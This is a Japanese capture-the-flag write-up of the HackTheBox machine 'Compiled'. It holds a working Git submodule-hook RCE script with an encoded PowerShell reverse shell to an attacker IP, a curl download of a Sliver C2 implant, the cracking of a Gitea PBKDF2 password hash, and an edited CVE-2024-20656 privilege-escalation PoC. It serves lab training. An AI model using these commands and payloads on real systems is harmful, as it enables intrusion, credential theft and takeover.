概要
HackTheBoxのリタイアマシンCompiledのWriteupです。
難易度 : Medium
OS : Windows
Enumeration
nmap
kali@Kali [11時34分34秒] [~/HTB/Compiled]
-> % nmap --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -p- 10.10.11.26
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 11:34 JST
Nmap scan report for compiled.htb (10.10.11.26)
Host is up, received user-set (0.091s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
3000/tcp open ppp? syn-ack
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=33607557e5d3f90b; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=AFGRkw-kEuRfwBW4tuftBk0QU_w6MTczMTI5MTg1ODQ2MzA0NTAwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 11 Nov 2024 02:24:18 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-arc-green">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>Git</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21waWxlZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVkLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMDA
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=32822644cd3de54f; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=CJNIDRWeQ6zESubWCUZHQ5qo2486MTczMTI5MTg2NDgwOTQ3NzEwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 11 Nov 2024 02:24:24 GMT
|_ Content-Length: 0
5000/tcp open upnp? syn-ack
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Mon, 11 Nov 2024 02:24:18 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5234
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Compiled - Code Compiling Services</title>
| <!-- Bootstrap CSS -->
| <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
| <!-- Custom CSS -->
| <style>
| your custom CSS here */
| body {
| font-family: 'Ubuntu Mono', monospace;
| background-color: #272822;
| color: #ddd;
| .jumbotron {
| background-color: #1e1e1e;
| color: #fff;
| padding: 100px 20px;
| margin-bottom: 0;
| .services {
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp open pando-pub? syn-ack
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 450.21 seconds
httpポート 3000, 5000 が2つとWinRMが開いています。
ドメインは見つかりませんでしたが一応追加しておきます。
10.10.11.26 compiled.htb
web
5000ポートにアクセスしてみます。
C++, C#, .NETをコンパイルするのためのサイトみたいです。
ページ下部にgitのリポジトリURLを記入するフォームがあるので試しに適当なURLを入れてみます。
どうやら送信されたURLのリポジトリをクローンするらしい
もう一つのポート3000にアクセスするとGiteaのページが表示されました。
アカウントを作成することができるので適当に作てみます。
エクスプローラーを見てみると2つのリポジトリを見つけました。
どうやらC++で記述された電卓とポート5000で動いていたWebサイトのリポジトリみたいです。
Calculatorの中を覗いてみると git version 2.45.0.windows.1 をインストールする必要があることが分かりました。
git 2.45.0 に脆弱性がないか調べてみると以下の記事を見つけました。
この脆弱性はGitのgit cloneコマンドに関連するリモートコード実行(RCE)の脆弱性です。この攻撃は、ターゲットが悪意のあるリポジトリを再帰的にクローンした場合に発生し、その結果、サブモジュールに含まれるフックが実行されます。この脆弱性は、Gitがリポジトリサブモジュール内のシンボリックリンクを処理する際に発生します。
Exploit
記事で説明されているエクスプロイトの詳細を見てみると、アクセス可能なリポジトリが 2 つと、それらのリポジトリの 1 つを再帰的にクローンする必要があることがわかります。
Giteaのアカウントを作成し、リポジトリを2つ作成します。
次にリポジトリの設定を行います。
git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main
ステージングリポジトリの設定
作成したリポジトリをクローンしてディレクトリyとサブディレクトリ y/hooks/ を作成します。
git clone http://compiled.htb:3000/test/StagingRepository.git
y/hooks/ 内に、次の内容の post-checkout ファイルを作成します
ペイロードは Reverse Shell Generator を使用します。
#!bin/sh.exe
*PowerShellリバースシェル*
post-checkoutファイルに実行権限を与えます。
chmod +x y/hooks/post-checkout
権限を与えたらリモートリポジトリにプッシュします。
git add y/hooks/post-checkout
git commit -m "post-checkout"
git push
実行リポジトリの設定
Giteaに作成したもう一つのリポジトリをクローンしてステージングリポジトリをサブモジュールとして追加します。
git clone http://compiled.htb:3000/test/ExecutingRepository.git
git submodule add --name x/y "http://compiled.htb:3000/test/StagingRepository.git" A/modules/x
変更をコミットします。
git commit -m "add-submodule"
リポジトリ内に .git を指すシンボリックリンクを作成し、そのシンボリックリンクをGitのインデックスにつかしてコミットします。
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
変更をプッシュする。
git push
これで準備が完了しました。
以下のコードは一連のコードをまとめたPoCになります。
#!/bin/bash
git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main
git clone http://compiled.htb:3000/test/StagingRepository.git
cd StagingRepository
mkdir -p y/hooks
cat > y/hooks/post-checkout <<EOF
#!bin/sh.exe
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQA3ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
git push
cd ..
git clone http://compiled.htb:3000/test/ExecutingRepository.git
cd ExecutingRepository
git submodule add --name x/y "http://compiled.htb:3000/test/StagingRepository.git" A/modules/x
git commit -m "add-submodule"
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
git push
あとはリスナーを起動してExecutingRepositoryのリポジトリのURLをポート5000で動作しているフォームに送信するだけ
少し待つと、応答が得られ、ユーザー Richardとしてシェルを取得することができました
水平展開
C:\Users フォルダ内に Emily というユーザーがいることが分かりました。まず Emily に横移動する必要がありそうです。
ここからはSliver C2を使っていきます。
Sliverのセットアップ
サーバー起動して、インプラントを作成します。
generate --mtls 10.10.16.34 --save . --os windows
インプラントをターゲットマシンにアップロードします。
curl 10.10.16.34/CONTINUOUS_WAMPUM.exe -o CONTINUOUS_WAMPUM.exe
アップロードが完了するとSliverでサーバーを起動して、インプラントを実行するとシェルを操作できるようになります。
これで楽にファイルの送受信をできるようになりました。
PBKDF2のCrack
Giteaがインストールされていることが分かっているのでフォルダ内を調べると gitea.db というデータベースファイルを見つけた。
gitea.db をダウンロードします。
ファイルを調べると sqlite3のデータベースファイルであることが分かります。
DB Browserでデータベースファイルを開いてみると、テーブルが大量に見つかり、その中に user というテーブルを見つけました。
userテーブルを見てみるとユーザーのパスワードハッシュがみつかりました。
emilyのパスワードハッシュがあるのでこれを解析します。
テーブルには passwod_hash_algo というカラムがあり、pbkdf2 というアルゴリズムでハッシュしているみたいです。
データに pbkdf2\$50000$50 とあります。これは以下のように分割できます
pbkdf2
50000
50
pbkdf2 : パスワードから暗号化キーを生成するためのアルゴリズムでSHA-256やSHA-512などが使用される。
50000 : 反復回数。この場合、パスワードは50000回の反復を経てハッシュ化される。
50 : 生成されるキーの長さ(バイト単位)この場合50バイトのハッシュキーを生成される。
つまり、PBKDF2アルゴリズムを使用して、50,000回の反復処理を行い、50バイトの長さの鍵を生成することを意味しています。hashcatでは -m 10900 でクラックできます。
hashcatを使用するには以下のフォーマットにしてあげる必要があります。
sha256:<反復回数>:<base64_salt>:<base64_passwd>
データベースのemilyの passwd , salt カラムの値をbase64でエンコードします。
# salt
echo "227d873cca89103cd83a976bdac52486" | xxd -r -p | base64
# passwd
echo "97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16" | xxd -r -p | base64
エンコード結果をフォーマット通りに入力すると以下のようになります。
sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=
入力できたらhashcatを走らせます。
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt
解析が成功し、パスワードが 12345678 であることがわかりました。
user.txt
このパスワードでRunasCsを使用して emily としてインプラント実行することでemilyのセッションをつくります。
まず、RunasCs.exeをアップロードします。
アップロードができたら以下のコマンドを実行します。このとき絶対パスでインプラントを指定する必要があります。
./RunasCs.exe emily 12345678 C:\temp\CONTINUOUS_WAMPUM.exe
sliver側で応答が得られ、emilyのセッションを作ることができました。
user.txtを取得しました。つづいてAdministratorを目指します。
特権昇格
Documentsフォルダに Visual Studio 2019 のフォルダがあります。
CVE-2024-20656
Visual Studio 2019 に関する Local Privilege Escalation がないか調べてみたところ以下の記事を発見しました。
この脆弱性は VSStandardCollectorService150 が診断データの収集プロセス中にファイル権限の処理が不適切であることに起因しています。
VSStandardCollectorService150とは
Microsoft Visual Studioの診断ツールの一部であり、パフォーマンスの分析やデバッグのための診断データを収集するサービスで、必要なシステムリソースにアクセスするためにデフォルトで NT AUTHORITY\SYSTEM で実行されます。
脆弱性の詳細
- 診断データを格納するディレクトリを作成する
- サービスの動作中、SetNamedSecurityInfoW 関数を使用してファイルの権限を変更するが、このディレクトリが正しく操作されていれば、他のファイルにリダイレクトすることが可能になる
- 攻撃者は指定されたディレクトリからファイルシステム内の他の場所にリンクを作成することができ、サービスがこのリンクを操作することで、意図しないファイルの権限を変更することができるようになる
Exploit
PoCがないか調べてみたところGitHubに以下のPoCを見つけました・
リポジトリをVisual Studioでクローンします。
ソースファイルの 4行目に VSDiagnostics.exe のパスを指定しているのでターゲットマシン上のパスと同じになるように変更します。
変更前
WCHAR cmd[] = L"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";
変更後
WCHAR cmd[] = L"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";
ソースファイルの187行目の C:\windows\system32\cmd.exe をリバースシェルペイロードに変更する
変更前
CopyFile(L"c:\\windows\\system32\\cmd.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
変更後
CopyFile(L"c:\\temp\\payload.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
編集が完了したら構成を Releases でビルドし、ターゲットマシンにアップロードする
新しいインプラント作成し、C:\tempにアップロードします。main.cppの187行目で指定したペイロードと同じ名前で作成します。
アップロードができたらexecuteコマンドでPoCを実行します。
SYSTEM権限のセッションを取得することができました。
root.txt
root.txtを取得して終了です。